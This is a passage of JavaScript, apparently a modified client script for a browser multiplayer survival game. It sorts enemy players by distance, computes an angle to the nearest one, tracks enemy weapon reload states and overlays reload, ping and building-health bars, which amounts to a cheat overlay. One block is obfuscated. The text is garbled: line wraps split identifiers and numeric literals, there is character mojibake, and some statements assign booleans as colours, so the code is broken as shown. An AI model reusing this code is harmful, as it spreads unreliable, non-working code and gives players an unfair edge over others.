(_.dt > 200 && FT++),
_.dt = 0,
_.buildIndex = e[n + 4],
_.weaponIndex = e[n + 5],
_.weaponVariant = e[n + 6],
_.team = e[n + 7],
_.isLeader = e[n + 8],
_.skinIndex = e[n + 9],
_.tailIndex = e[n + 10],
_.iconIndex = e[n + 11],
_.zIndex = e[n + 12],
_.visible = !0,
(_ == R || _.team && _.team == R.team) ?
doWeaponStuff(_) : nEs.push(e.slice(n, n + 13))),
n += 13
nEs.length && (nEs = nEs.sort((a,b) => fgd(a, R) - fgd(b, R)), nEy =
nEs[0]);
nEA = (nEy.length ? Math.atan2(nEy[2]-R.y2, nEy[1]-R.x2) : undefined);
dNG = false;
for(let i = 0; i < nEs.length;i++){
if(fgd(nEs[i], R) < 300){
_ = Ii(nEs[i][0]);
if(_.pr == 1 && secondaryReload[nEs[i][0]] == 1){
dNG = true;
break;
}
}else{
break;
}
}
for(let i = 0;i < nEs.length;i++){
doWeaponStuff(Ii(nEs[i][0]));
}
}
function fgd(a, b){
return Math.sqrt(Math.pow((b.y2-a[2]),2)+Math.pow((b.x2-a[1]),2));
}
var oW = 0;
function doWeaponStuff(_){
if(_.skinIndex == 45){
_.clownCounter = "";
_.clowned = true;
if(_.canClownTime == true) {
_.clownTimer = 30;
_.canClownTime = false;
_.clownTimeInt = setInterval(() => {
_.clownTimer -= 1;
_.clownTimer <= 0 && (_.clownTimer = 0);
}, 1000);
}
if(_ == R) {
myPlayer.clowned = true;
}
} else if(isNaN(_.clownCounter)){
_.clownTimer = 0;
_.canClownTime = true;
_.clownCounter = 0;
clearInterval(_.clownTimeInt);
_.clowned = false;
if(_ == R) {
myPlayer.clowned = false;
}
}
if(_.weaponIndex < 9){
if(_.weaponIndex == _.primary){
if(_.buildIndex == -1){
_.pr = primaryReload[_.sid];
_.sr = secondaryReload[_.sid];
primaryReload[_.sid] = Math.min(1, primaryReload[_.sid] +
111/l.weapons[_.primary].speed);
}else{
_.pr = primaryReload[_.sid];
}
}else{
_.primary = _.weaponIndex;
}
}else if(_.weaponIndex > 8){
if(_.weaponIndex == _.secondary){
if(_.buildIndex == -1){
_.sr = secondaryReload[_.sid];
_.pr = primaryReload[_.sid];
secondaryReload[_.sid] = Math.min(1, secondaryReload[_.sid]
+ 111/l.weapons[_.secondary].speed);
}else{
_.sr = secondaryReload[_.sid];
}
}else{
_.secondary = _.weaponIndex;
}
}else{
_.sr = secondaryReload[_.sid];
_.pr = primaryReload[_.sid];
}
_.tr = turretReload[_.sid];
turretReload[_.sid] = Math.min(1, turretReload[_.sid]+0.0444);
}
function Ii(e) {
for (var t = 0; t < W.length; ++t)
if (W[t].sid == e)
return W[t];
return null
}
function Ei(e) {
for (var t = 0; t < Y.length; ++t)
if (Y[t].sid == e)
return Y[t];
return null
}
function Mi(e) {
for (var t = 0; t < N.length; ++t)
if (N[t].sid == e)
return N[t];
return null
}
var Ai = -1;
function Pi() {
var e = Date.now() - Ai;
window.pingTime = e,
Ie.innerText = "Ping: " + e + "Â ms"
}
function Bi() {
Ai = Date.now(),
r.send("pp")
}
function Ci(e) {
if (!(e < 0)) {
var t = Math.floor(e / 60)
, n = e % 60;
n = ("0" + n).slice(-2),
Ee.innerText = "Server restarting in " + t + ":" + n,
Ee.hidden = 1
}
}
function Oi(e) {
window.open(e, "_blank")
}
window.requestAnimFrame = window.requestAnimationFrame ||
window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame ||
function(e) {
window.setTimeout(e, 1e3 / 60)
}
,
function() {
var e = o.mapScale / 2;
nt.add(0, e, e + 200, 0, o.treeScales[3], 0),
nt.add(1, e, e - 480, 0, o.treeScales[3], 0),
nt.add(2, e + 300, e + 450, 0, o.treeScales[3], 0),
nt.add(3, e - 950, e - 130, 0, o.treeScales[2], 0),
nt.add(4, e - 750, e - 400, 0, o.treeScales[3], 0),
nt.add(5, e - 700, e + 400, 0, o.treeScales[2], 0),
nt.add(6, e + 800, e - 200, 0, o.treeScales[3], 0),
nt.add(7, e - 260, e + 340, 0, o.bushScales[3], 1),
nt.add(8, e + 760, e + 310, 0, o.bushScales[3], 1),
nt.add(9, e - 800, e + 100, 0, o.bushScales[3], 1),
nt.add(10, e - 800, e + 300, 0, l.list[4].scale, l.list[4].id, l.list[10]),
nt.add(11, e + 650, e - 390, 0, l.list[4].scale, l.list[4].id, l.list[10]),
nt.add(12, e - 400, e - 450, 0, o.rockScales[2], 2)
}(),
function e() {
B = Date.now(),
P = B - q,
q = B,
function() {
if (R && (!C || B - C >= 1e3 / o.clientSendRate) && (C = B,
r.send("2", pn())),
An < 120 && (An += .1 * P,
Ge.style.fontSize = Math.min(Math.round(An), 120) + "px"),
R) {
var e = s.getDistance(U, D, R.x, R.y)
, t = s.getDirection(R.x, R.y, U, D)
, n = Math.min(.01 * e * P, e);
e > .05 ? (U += n * Math.cos(t),
D += n * Math.sin(t)) : (U = R.x,
D = R.y)
} else
U = o.mapScale / 2,
D = o.mapScale / 2;
for (var i = B - 1e3 / o.serverUpdateRate, a = 0; a < W.length +
Y.length; ++a)
if ((_ = W[a] || Y[a - W.length]) && _.visible)
if (_.forcePos)
_.x = _.x2,
_.y = _.y2,
_.dir = _.d2;
else {
var c = _.t2 - _.t1
, l = (i - _.t1) / c;
_.dt += P;
var h = Math.min(1.7, _.dt / 170)
, u = _.x2 - _.x1;
_.x = _.x1 + u * h,
u = _.y2 - _.y1,
_.y = _.y1 + u * h,
_.dir = Math.lerpAngle(_.d2, _.d1, Math.min(1.2, l))
}
var f = U - oe / 2
, d = D - ce / 2;
o.snowBiomeTop - d <= 0 && o.mapScale - o.snowBiomeTop - d >= ce ?
(be.fillStyle = "#b6db66",
be.fillRect(0, 0, oe, ce)) : o.mapScale - o.snowBiomeTop - d <= 0 ?
(be.fillStyle = "#dbc666",
be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= ce ? (be.fillStyle =
"#fff",
be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= 0 ? (be.fillStyle =
"#fff",
be.fillRect(0, 0, oe, o.snowBiomeTop - d),
be.fillStyle = "#b6db66",
be.fillRect(0, o.snowBiomeTop - d, oe, ce - (o.snowBiomeTop - d))) :
(be.fillStyle = "#b6db66",
be.fillRect(0, 0, oe, o.mapScale - o.snowBiomeTop - d),
be.fillStyle = "#dbc666",
be.fillRect(0, o.mapScale - o.snowBiomeTop - d, oe, ce - (o.mapScale -
o.snowBiomeTop - d))),
In || ((ee += te * o.waveSpeed * P) >= o.waveMax ? (ee = o.waveMax,
te = -1) : ee <= 1 && (ee = te = 1),
be.globalAlpha = 1,
be.fillStyle = "#dbc666",
qn(f, d, be, o.riverPadding),
be.fillStyle = "#91b2db",
qn(f, d, be, 250 * (ee - 1))),
be.lineWidth = 4,
be.strokeStyle = "#000",
be.globalAlpha = .06,
be.beginPath();
for (var p = -U; p < oe; p += ce / 18)
p > 0 && (be.moveTo(p, 0),
be.lineTo(p, ce));
for (var g = -D; g < ce; g += ce / 18)
p > 0 && (be.moveTo(0, g),
be.lineTo(oe, g));
for (be.stroke(),
be.globalAlpha = 1,
be.strokeStyle = it,
Yn(-1, f, d),
be.globalAlpha = 1,
be.lineWidth = 5.5,
zn(0, f, d),
Xn(f, d, 0),
be.globalAlpha = 1,
a = 0; a < Y.length; ++a)
(_ = Y[a]).active && _.visible && (_.animate(P),
be.save(),
be.translate(_.x - f, _.y - d),
be.rotate(_.dir + _.dirPlus - Math.PI / 2),
yi(_, be),
be.restore());
if (Yn(0, f, d),
zn(1, f, d),
Yn(1, f, d),
Xn(f, d, 1),
Yn(2, f, d),
Yn(3, f, d),
be.fillStyle = "#000",
be.globalAlpha = .09,
f <= 0 && be.fillRect(0, 0, -f, ce),
o.mapScale - f <= oe) {
var y = Math.max(0, -d);
be.fillRect(o.mapScale - f, y, oe - (o.mapScale - f), ce - y)
}
if (d <= 0 && be.fillRect(-f, 0, oe + f, -d),
o.mapScale - d <= ce) {
var k = Math.max(0, -f)
, v = 0;
o.mapScale - f <= oe && (v = oe - (o.mapScale - f)),
be.fillRect(k, o.mapScale - d, oe - k - v, ce - (o.mapScale - d))
}
for (be.globalAlpha = 1,
be.fillStyle = "rgba(0, 0, 70, 0.35)",
be.fillRect(0, 0, oe, ce),
be.strokeStyle = rt,
a = 0; a < W.length + Y.length; ++a)
if ((_ = W[a] || Y[a - W.length]).visible && (10 != _.skinIndex ||
_ == R || _.team && _.team == R.team)) {
var w = (_.team ? "[" + _.team + "] " : "") + (_.name || "");
if ("" != w) {
if (be.font = (_.nameScale || 30) + "px Hammersmith One",
be.fillStyle = "#fff",
be.textBaseline = "middle",
be.textAlign = "center",
be.lineWidth = _.nameScale ? 11 : 8,
be.lineJoin = "round",
be.strokeText(w, _.x - f, _.y - d - _.scale - o.nameY),
be.fillText(w, _.x - f, _.y - d - _.scale - o.nameY),
_.isLeader && Rn.crown.isLoaded) {
var b = o.crownIconScale;
k = _.x - f - b / 2 - be.measureText(w).width / 2 -
o.crownPad,
be.drawImage(Rn.crown, k, _.y - d - _.scale - o.nameY -
b / 2 - 5, b, b)
}
1 == _.iconIndex && Rn.skull.isLoaded && (b =
o.crownIconScale,
k = _.x - f - b / 2 + be.measureText(w).width / 2 +
o.crownPad,
be.drawImage(Rn.skull, k, _.y - d - _.scale - o.nameY - b /
2 - 5, b, b))
}
var asdasdwdawa = (""+generator()+"");
var whyping = ("Ping: "+window.pingTime+"");
if(clowntimer == true && _.id) {
(be.textAlign = "center",
be.fillStyle = "#fff",
be.lineJoin = "round",
be.font = "25px Hammersmith One",
be.lineWidth = 6,
be.strokeText(_.clownTimer,_.x - f,_.y - d + _.scale +
o.nameY+(-69)),
be.fillText(_.clownTimer,_.x - f,_.y - d + _.scale + o.nameY+
(-69))
)
}
if(clowncounter == true && _.id) {
(be.textAlign = "center",
be.fillStyle = "#fff",
be.lineJoin = "round",
be.font = "25px Hammersmith One",
be.lineWidth = 6,
be.strokeText(_.clownCounter,_.x - f,_.y - d + _.scale +
o.nameY+(-69)),
be.fillText(_.clownCounter,_.x - f,_.y - d + _.scale +
o.nameY+(-69))
)
}
if(pingwhy == true && _.id) {
(be.textAlign = "center",
be.fillStyle = "#fff",
be.lineJoin = "round",
be.font = "25px Hammersmith One",
be.lineWidth = 6,
be.strokeText(whyping,_.x - f,_.y - d + _.scale +
o.nameY+(65)),
be.fillText(whyping,_.x - f,_.y - d + _.scale + o.nameY+(65))
)
}
if(drug == true && _.id) {
(be.textAlign = "center",
be.fillStyle = "#fff",
be.lineJoin = "round",
be.font = "25px Hammersmith One",
be.lineWidth = 6,
be.strokeText(asdasdwdawa,_.x - f,_.y - d + _.scale +
o.nameY+(40)),
be.fillText(asdasdwdawa,_.x - f,_.y - d + _.scale +
o.nameY+(40))
)
}
if (buildhp == true) {
function _0x3924(_0x2f7f1a,_0x3b7ba5){const _0x5d11a5=_0x5d11();return
_0x3924=function(_0x3924f,_0x295ca0){_0x3924f=_0x3924f-0x1a1;let
_0x2d2c10=_0x5d11a5[_0x3924f];return
_0x2d2c10;},_0x3924(_0x2f7f1a,_0x3b7ba5);}const _0x30180e=_0x3924;
(function(_0x55563f,_0x2e2517){const
_0x560f14=_0x3924,_0x38449d=_0x55563f();while(!![]){try{const
_0xe7c3ad=parseInt(_0x560f14(0x1f7))/0x1+parseInt(_0x560f14(0x1f3))/0x2+parseInt(_0
x560f14(0x1c8))/0x3+parseInt(_0x560f14(0x1fa))/0x4+-
parseInt(_0x560f14(0x1be))/0x5+-parseInt(_0x560f14(0x1ea))/0x6+-
parseInt(_0x560f14(0x1ec))/0x7;if(_0xe7c3ad===_0x2e2517)break;else
_0x38449d['push'](_0x38449d['shift']());}catch(_0x34a96f){_0x38449d['push']
(_0x38449d['shift']());}}}(_0x5d11,0x9c33e));function _0x5d11(){const
_0x2fd396=['fillStyle','healthBarWidth','samurai_1','tool\x20for\x20gathering\x20al
l\x20resources','3375165LtMBNF','great_axe_1','spinning\x20spikes','turret','grab_1
','stone\x20wall','short\x20sword','allows\x20you\x20to\x20mine\x20stone','generate
s\x20more\x20gold\x20over\x20time','increased\x20attack\x20power\x20but\x20slower\x
20move\x20speed','wood\x20wall','#FFFF00','hunting\x20bow','restores\x2040\x20healt
h\x20when\x20consumed','wooden\x20shield','great\x20for\x20gathering\x20but\x20very
\x20weak','healthBarPad','shield_1','doer','daggers','restores\x2020\x20health\x20w
hen\x20consumed','provides\x20improved\x20protection\x20for\x20your\x20village','te
am','dmg','gathers\x20resources\x20at\x20a\x20higher\x20rate','greater\x20range\x20
and\x20damage','deal\x20more\x20damage\x20and\x20gather\x20more\x20resources','grea
t_hammer_1','great\x20axe','really\x20fast\x20short\x20range\x20weapon','axe_1','re
peater\x20crossbow','wood','katana','2864952bezKiJ','poisons\x20enemies\x20when\x20
they\x20touch\x20them','13279784DOLprS','you\x20will\x20spawn\x20here\x20when\x20yo
u\x20die\x20but\x20it\x20will\x20dissapear','blocks\x20projectiles\x20and\x20reduce
s\x20melee\x20damage','slow\x20firerate\x20but\x20high\x20damage\x20and\x20range','
blocker','owner','name','2050160pTUMBF','bow_1','pit\x20that\x20traps\x20enemies\x2
0if\x20they\x20walk\x20over\x20it','stone','3475vTvcUc','teleports\x20you\x20to\x20
a\x20random\x20point\x20on\x20the\x20map','provides\x20boost\x20when\x20stepped\x20
on','3889212zCSepd','hammer_1','dmgOverTime','active','mine','spear_1','fast\x20lon
g\x20range\x20melee\x20weapon','damages\x20enemies\x20when\x20they\x20touch\x20them
','time','food','sword_1','windmill','changeHealth','musket_1','weaponIndex','stick
','standing\x20on\x20it\x20will\x20slowly\x20heal\x20you','restores\x2030\x20health
\x20and\x20another\x2050\x20over\x205\x20seconds','sid','polearm','platform','power
\x20mill','scale','filter','platform\x20to\x20shoot\x20over\x20walls\x20and\x20cros
s\x20over\x20water','#cc5151','bow\x20used\x20for\x20ranged\x20combat\x20and\x20hun
ting','crossbow_2','great\x20hammer','crossbow_1','healing\x20pad','stick_1','gener
ates\x20gold\x20over\x20time','health','sapling','dagger_1','boost\x20pad','greater
\x20spikes','range','crossbow','musket','hand\x20axe','557515WAXhPr','steals\x20res
ources\x20from\x20enemies','long\x20range\x20melee\x20weapon','castle\x20wall','pro
vides\x20protection\x20for\x20your\x20village','spawn\x20pad'];_0x5d11=function()
{return _0x2fd396;};return _0x5d11();}var
weapons=[{'id':0x0,'type':0x0,'name':'tool\x20hammer','desc':_0x30180e(0x1c7),'src'
:_0x30180e(0x1fb),'length':0x8c,'width':0x8c,'xOff':-
0x3,'yOff':0x12,'dmg':0x19,'range':0x41,'gather':0x1,'speed':0x12c},
{'id':0x1,'type':0x0,'age':0x2,'name':_0x30180e(0x1bd),'desc':_0x30180e(0x1e0),'src
':_0x30180e(0x1e6),'length':0x8c,'width':0x8c,'xOff':0x3,'yOff':0x18,'dmg':0x1e,'sp
dMult':0x1,'range':0x46,'gather':0x2,'speed':0x190},
{'id':0x2,'type':0x0,'age':0x8,'name':_0x30180e(0x1e4),'desc':_0x30180e(0x1e2),'src
':_0x30180e(0x1c9),'length':0x8c,'width':0x8c,'xOff':-
0x8,'yOff':0x19,'dmg':0x23,'spdMult':0x1,'range':0x4b,'gather':0x4,'speed':0x190},
{'id':0x3,'type':0x0,'age':0x2,'name':_0x30180e(0x1ce),'desc':_0x30180e(0x1d1),'src
':_0x30180e(0x204),'iPad':1.3,'length':0x82,'width':0xd2,'xOff':-
0x8,'yOff':0x2e,'dmg':0x23,'spdMult':0.85,'range':0x6e,'gather':0x1,'speed':0x12c},
{'id':0x4,'type':0x0,'age':0x8,'name':_0x30180e(0x1e9),'desc':_0x30180e(0x1e1),'src
':_0x30180e(0x1c6),'iPad':1.3,'length':0x82,'width':0xd2,'xOff':-
0x8,'yOff':0x3b,'dmg':0x28,'spdMult':0.8,'range':0x76,'gather':0x1,'speed':0x12c},
{'id':0x5,'type':0x0,'age':0x2,'name':_0x30180e(0x1a7),'desc':_0x30180e(0x1c0),'src
':_0x30180e(0x1ff),'iPad':1.3,'length':0x82,'width':0xd2,'xOff':-
0x8,'yOff':0x35,'dmg':0x2d,'knock':0.2,'spdMult':0.82,'range':0x8e,'gather':0x1,'sp
eed':0x2bc},
{'id':0x6,'type':0x0,'age':0x2,'name':'bat','desc':_0x30180e(0x200),'src':'bat_1','
iPad':1.3,'length':0x6e,'width':0xb4,'xOff':-
0x8,'yOff':0x35,'dmg':0x14,'knock':0.7,'range':0x6e,'gather':0x1,'speed':0x12c},
{'id':0x7,'type':0x0,'age':0x2,'name':_0x30180e(0x1db),'desc':_0x30180e(0x1e5),'src
':_0x30180e(0x1b7),'iPad':0.8,'length':0x6e,'width':0x6e,'xOff':0x12,'yOff':0x0,'dm
g':0x14,'knock':0.1,'range':0x41,'gather':0x1,'hitSlow':0.1,'spdMult':1.13,'speed':
0x64},
{'id':0x8,'type':0x0,'age':0x2,'name':_0x30180e(0x1a3),'desc':_0x30180e(0x1d7),'src
':_0x30180e(0x1b3),'length':0x8c,'width':0x8c,'xOff':0x3,'yOff':0x18,'dmg':0x1,'spd
Mult':0x1,'range':0x46,'gather':0x7,'speed':0x190},
{'id':0x9,'type':0x1,'age':0x6,'name':_0x30180e(0x1d4),'desc':_0x30180e(0x1ae),'src
':_0x30180e(0x1f4),'req':[_0x30180e(0x1e8),0x4],'length':0x78,'width':0x78,'xOff':-
0x6,'yOff':0x0,'projectile':0x0,'spdMult':0.75,'speed':0x258},
{'id':0xa,'type':0x1,'age':0x6,'name':_0x30180e(0x1b0),'desc':'hammer\x20used\x20fo
r\x20destroying\x20structures','src':_0x30180e(0x1e3),'length':0x8c,'width':0x8c,'x
Off':-
0x9,'yOff':0x19,'dmg':0xa,'spdMult':0.88,'range':0x4b,'sDmg':7.5,'gather':0x1,'spee
d':0x190},
{'id':0xb,'type':0x1,'age':0x6,'name':_0x30180e(0x1d6),'desc':_0x30180e(0x1ee),'src
':_0x30180e(0x1d9),'length':0x78,'width':0x78,'shield':0.2,'xOff':0x6,'yOff':0x0,'s
pdMult':0.7},
{'id':0xc,'type':0x1,'age':0x8,'name':_0x30180e(0x1bb),'desc':'deals\x20more\x20dam
age\x20and\x20has\x20greater\x20range','src':_0x30180e(0x1b1),'req':
[_0x30180e(0x1e8),0x5],'aboveHand':!
0x0,'armS':0.75,'length':0x78,'width':0x78,'xOff':-
0x4,'yOff':0x0,'projectile':0x2,'spdMult':0.7,'speed':0x2bc},
{'id':0xd,'type':0x1,'age':0x9,'name':_0x30180e(0x1e7),'desc':'high\x20firerate\x20
crossbow\x20with\x20reduced\x20damage','src':_0x30180e(0x1af),'req':
['wood',0xa],'aboveHand':!0x0,'armS':0.75,'length':0x78,'width':0x78,'xOff':-
0x4,'yOff':0x0,'projectile':0x3,'spdMult':0.7,'speed':0xe6},
{'id':0xe,'type':0x1,'age':0x6,'name':'mc\x20grabby','desc':_0x30180e(0x1bf),'src':
_0x30180e(0x1cc),'length':0x82,'width':0xd2,'xOff':-
0x8,'yOff':0x35,'dmg':0x0,'steal':0xfa,'knock':0.2,'spdMult':1.05,'range':0x7d,'gat
her':0x0,'speed':0x2bc},
{'id':0xf,'type':0x1,'age':0x9,'name':_0x30180e(0x1bc),'desc':_0x30180e(0x1ef),'src
':_0x30180e(0x1a1),'req':[_0x30180e(0x1f6),0xa],'aboveHand':!
0x0,'rec':0.35,'armS':0.6,'hndS':0.3,'hndD':1.6,'length':0xcd,'width':0xcd,'xOff':0
x19,'yOff':0x0,'projectile':0x5,'hideProjectile':!
0x0,'spdMult':0.6,'speed':0x5dc}];let
objs=[{'name':'apple','desc':_0x30180e(0x1dc),'req':
[_0x30180e(0x203),0xa],'consume':function(_0x4572d0){return
_0x4572d0['changeHealth'](0x14,_0x4572d0);},'scale':0x16,'holdOffset':0xf},
{'age':0x3,'name':'cookie','desc':_0x30180e(0x1d5),'req':
[_0x30180e(0x203),0xf],'consume':function(_0x37f508){const
_0x5e1065=_0x30180e;return _0x37f508[_0x5e1065(0x206)]
(0x28,_0x37f508);},'scale':0x1b,'holdOffset':0xf},
{'age':0x7,'name':'cheese','desc':_0x30180e(0x1a5),'req':
[_0x30180e(0x203),0x19],'consume':function(_0x473c22){const
_0x5e4b26=_0x30180e;return!!(_0x473c22[_0x5e4b26(0x206)](0x1e,_0x473c22)||
_0x473c22[_0x5e4b26(0x1b5)]<0x64)&&(_0x473c22[_0x5e4b26(0x1fc)][_0x5e4b26(0x1df)]=-
0xa,_0x473c22['dmgOverTime']
[_0x5e4b26(0x1da)]=_0x473c22,_0x473c22[_0x5e4b26(0x1fc)][_0x5e4b26(0x202)]=0x5,!
0x0);},'scale':0x1b,'holdOffset':0xf},
{'name':_0x30180e(0x1d2),'desc':_0x30180e(0x1c2),'req':
[_0x30180e(0x1e8),0xa],'projDmg':!
0x0,'health':0x17c,'scale':0x32,'holdOffset':0x14,'placeOffset':-0x5},
{'age':0x3,'name':_0x30180e(0x1cd),'desc':_0x30180e(0x1dd),'req':
[_0x30180e(0x1f6),0x19],'health':0x384,'scale':0x32,'holdOffset':0x14,'placeOffset'
:-0x5},
{'age':0x7,'pre':0x1,'name':_0x30180e(0x1c1),'desc':'provides\x20powerful\x20protec
tion\x20for\x20your\x20village','req':
['stone',0x23],'health':0x5dc,'scale':0x34,'holdOffset':0x14,'placeOffset':-0x5},
{'name':'spikes','desc':_0x30180e(0x201),'req':
[_0x30180e(0x1e8),0x14,_0x30180e(0x1f6),0x5],'health':0x190,'dmg':0x14,'scale':0x31
,'spritePadding':-0x17,'holdOffset':0x8,'placeOffset':-0x5},
{'age':0x5,'name':_0x30180e(0x1b9),'desc':_0x30180e(0x201),'req':
[_0x30180e(0x1e8),0x1e,'stone',0xa],'health':0x1f4,'dmg':0x23,'scale':0x34,'spriteP
adding':-0x17,'holdOffset':0x8,'placeOffset':-0x5},
{'age':0x9,'pre':0x1,'name':'poison\x20spikes','desc':_0x30180e(0x1eb),'req':
[_0x30180e(0x1e8),0x23,'stone',0xf],'health':0x258,'dmg':0x1e,'pDmg':0x5,'scale':0x
34,'spritePadding':-0x17,'holdOffset':0x8,'placeOffset':-0x5},
{'age':0x9,'pre':0x2,'name':_0x30180e(0x1ca),'desc':_0x30180e(0x201),'req':
[_0x30180e(0x1e8),0x1e,'stone',0x14],'health':0x1f4,'dmg':0x2d,'turnSpeed':0.003,'s
cale':0x34,'spritePadding':-0x17,'holdOffset':0x8,'placeOffset':-0x5},
{'name':_0x30180e(0x205),'desc':_0x30180e(0x1b4),'req':
['wood',0x32,_0x30180e(0x1f6),0xa],'health':0x190,'pps':0x1,'turnSpeed':0.0016,'spr
itePadding':0x19,'iconLineMult':0xc,'scale':0x2d,'holdOffset':0x14,'placeOffset':0x
5},{'age':0x5,'pre':0x1,'name':'faster\x20windmill','desc':_0x30180e(0x1d0),'req':
[_0x30180e(0x1e8),0x3c,_0x30180e(0x1f6),0x14],'health':0x1f4,'pps':1.5,'turnSpeed':
0.0025,'spritePadding':0x19,'iconLineMult':0xc,'scale':0x2f,'holdOffset':0x14,'plac
eOffset':0x5},
{'age':0x8,'pre':0x1,'name':_0x30180e(0x1a9),'desc':_0x30180e(0x1d0),'req':
[_0x30180e(0x1e8),0x64,_0x30180e(0x1f6),0x32],'health':0x320,'pps':0x2,'turnSpeed':
0.005,'spritePadding':0x19,'iconLineMult':0xc,'scale':0x
2f,'holdOffset':0x14,'placeOffset':0x5},
{'age':0x5,'type':0x2,'name':_0x30180e(0x1fe),'desc':_0x30180e(0x1cf),'req':
['wood',0x14,'stone',0x64],'iconLineMult':0xc,'scale':0x41,'holdOffset':0x14,'place
Offset':0x0},
{'age':0x5,'type':0x0,'name':_0x30180e(0x1b6),'desc':'allows\x20you\x20to\x20farm\x
20wood','req':
[_0x30180e(0x1e8),0x96],'iconLineMult':0xc,'colDiv':0.5,'scale':0x6e,'holdOffset':0
x32,'placeOffset':-0xf},
{'age':0x4,'name':'pit\x20trap','desc':_0x30180e(0x1f5),'req':
[_0x30180e(0x1e8),0x1e,_0x30180e(0x1f6),0x1e],'trap':!0x0,'ignoreCollision':!
0x0,'hideFromEnemy':!
0x0,'health':0x1f4,'colDiv':0.2,'scale':0x32,'holdOffset':0x14,'placeOffset':-0x5},
{'age':0x4,'name':_0x30180e(0x1b8),'desc':_0x30180e(0x1f9),'req':
[_0x30180e(0x1f6),0x14,_0x30180e(0x1e8),0x5],'ignoreCollision':!
0x0,'boostSpeed':1.5,'health':0x96,'colDiv':0.7,'scale':0x2d,'holdOffset':0x14,'pla
ceOffset':-0x5},{'age':0x7,'doUpdate':!
0x0,'name':_0x30180e(0x1cb),'desc':'defensive\x20structure\x20that\x20shoots\x20at\
x20enemies','req':
[_0x30180e(0x1e8),0xc8,'stone',0x96],'health':0x320,'projectile':0x1,'shootRange':0
x2bc,'shootRate':0x898,'scale':0x2b,'holdOffset':0x14,'placeOffset':-0x5},
{'age':0x7,'name':_0x30180e(0x1a8),'desc':_0x30180e(0x1ac),'req':
[_0x30180e(0x1e8),0x14],'ignoreCollision':!
0x0,'zIndex':0x1,'health':0x12c,'scale':0x2b,'holdOffset':0x14,'placeOffset':-0x5},
{'age':0x7,'name':_0x30180e(0x1b2),'desc':_0x30180e(0x1a4),'req':
[_0x30180e(0x1e8),0x1e,_0x30180e(0x203),0xa],'ignoreCollision':!
0x0,'healCol':0xf,'health':0x190,'colDiv':0.7,'scale':0x2d,'holdOffset':0x14,'place
Offset':-0x5},{'age':0x9,'name':_0x30180e(0x1c3),'desc':_0x30180e(0x1ed),'req':
['wood',0x64,_0x30180e(0x1f6),0x64],'health':0x190,'ignoreCollision':!
0x0,'spawnPoint':!0x0,'scale':0x2d,'holdOffset':0x14,'placeOffset':-0x5},
{'age':0x7,'name':_0x30180e(0x1f0),'desc':'blocks\x20building\x20in\x20radius','req
':['wood',0x1e,'stone',0x19],'ignoreCollision':!
0x0,'blocker':0x12c,'health':0x190,'colDiv':0.7,'scale':0x2d,'holdOffset':0x14,'pla
ceOffset':-0x5},{'age':0x7,'name':'teleporter','desc':_0x30180e(0x1f8),'req':
[_0x30180e(0x1e8),0x3c,_0x30180e(0x1f6),0x3c],'ignoreCollision':!0x0,'teleport':!
0x0,'health':0xc8,'colDiv':0.7,'scale':0x2d,'holdOffset':0x14,'placeOffset':-
0x5}];if(R['health']>0x0)for(let i=0x0;i<N['length'];i++){N[i][_0x30180e(0x1f1)]!
==-0x1&&N[i][_0x30180e(0x1b5)]!==undefined&&N[i]
[_0x30180e(0x1b5)]>0x0&&Math['hypot'](N[i]['y']-R['y'],N[i]['x']-
R['x'])<weapons[R[_0x30180e(0x1a2)]][_0x30180e(0x1ba)]+N[i][_0x30180e(0x1aa)]
+0xfa&&N[i][_0x30180e(0x1fd)]&&(be[_0x30180e(0x1c4)]='#3d3f42',be['roundRect'](N[i]
['x']-f-o['healthBarWidth']-o[_0x30180e(0x1d8)],N[i]['y']-d+N[i]
['scale'],0x2*o[_0x30180e(0x1c5)]+0x2*o['healthBarPad'],0x11,0x8),be['fill']
(),be[_0x30180e(0x1c4)]=N[i][_0x30180e(0x1f1)]
[_0x30180e(0x1a6)]==R[_0x30180e(0x1a6)]||N[i][_0x30180e(0x1f1)]
[_0x30180e(0x1de)]&&N[i][_0x30180e(0x1f1)][_0x30180e(0x1de)]==R['team']?
_0x30180e(0x1d3):_0x30180e(0x1ad),be['roundRect'](N[i]['x']-f-
o[_0x30180e(0x1c5)],N[i]['y']-d+N[i]['scale']
+o[_0x30180e(0x1d8)],0x2*o[_0x30180e(0x1c5)]*(N[i]['health']/objs[_0x30180e(0x1ab)]
(_0x1290c3=>_0x1290c3[_0x30180e(0x1f2)]==N[i][_0x30180e(0x1f2)])[0x0]
['health']),0x11-0x2*o[_0x30180e(0x1d8)],0x7),be['fill']());}
}
_.id && ((o.reloadBarWidth,
be.fillStyle = rt,
be.rigidLRect(_.x-1 - f - o.reloadBarWidth*2 -
o.healthBarPad-0, _.y - d + _.scale + o.nameY - 0, 0 * o.reloadBarWidth + 0 *
o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = primaryReload[R.sid] == 1 ? PriReloaded =
true : PriReloaded = false,
be.fill()),
(o.reloadBarWidth,
be.fillStyle = rt,
be.fill(),
be.fillStyle = secondaryReload[R.sid] == 1 ? SecReloaded =
true : SecReloaded = false,
be.fill()),
(o.reloadBarWidth,
be.fillStyle = rt,
be.fill(),
be.fillStyle = turretReload[R.sid] == 1 ? turReloaded = true :
turReloaded = false,
be.fill()));
if(PrimaryReload == true && _.id) {((o.reloadBarWidth,
be.fillStyle = rt,
be.rigidLRect(_.x-1 - f - o.reloadBarWidth*2 -
o.healthBarPad-5, _.y - d + _.scale + o.nameY - 14, 2.2 * o.reloadBarWidth + 2 *
o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = primaryReload[_.sid] == 1 ?
`#C4A484` : `#C4A484`,
be.fillStyle = primaryReload[R.sid] == 1 ?
PriReloaded = true : PriReloaded = false,
be.rigidLRect(_.x-1 - f - o.reloadBarWidth*2-4.5,
_.y - d + _.scale + o.nameY + o.healthBarPad - 14, 2.2 * o.reloadBarWidth *
(_.pr<primaryReload[_.sid]?_.pr+(primaryReload[_.sid]-
_.pr)*Math.min(1,_.dt/111):primaryReload[_.sid]), 17 - 2 * o.healthBarPad, 7),
be.fill()))
}
if(SecondaryReload == true && _.id)
{ (o.reloadBarWidth,
be.fillStyle = rt,
be.rigidRRect(_.x+1.8 - f - o.healthBarPad+4.89,
_.y - d + _.scale + o.nameY - 14, 2.0 * o.reloadBarWidth + 2 * o.healthBarPad, 17,
8),
be.fill(),
be.fillStyle = secondaryReload[_.sid] == 1 ?
`#C4A484` : `#C4A484`,
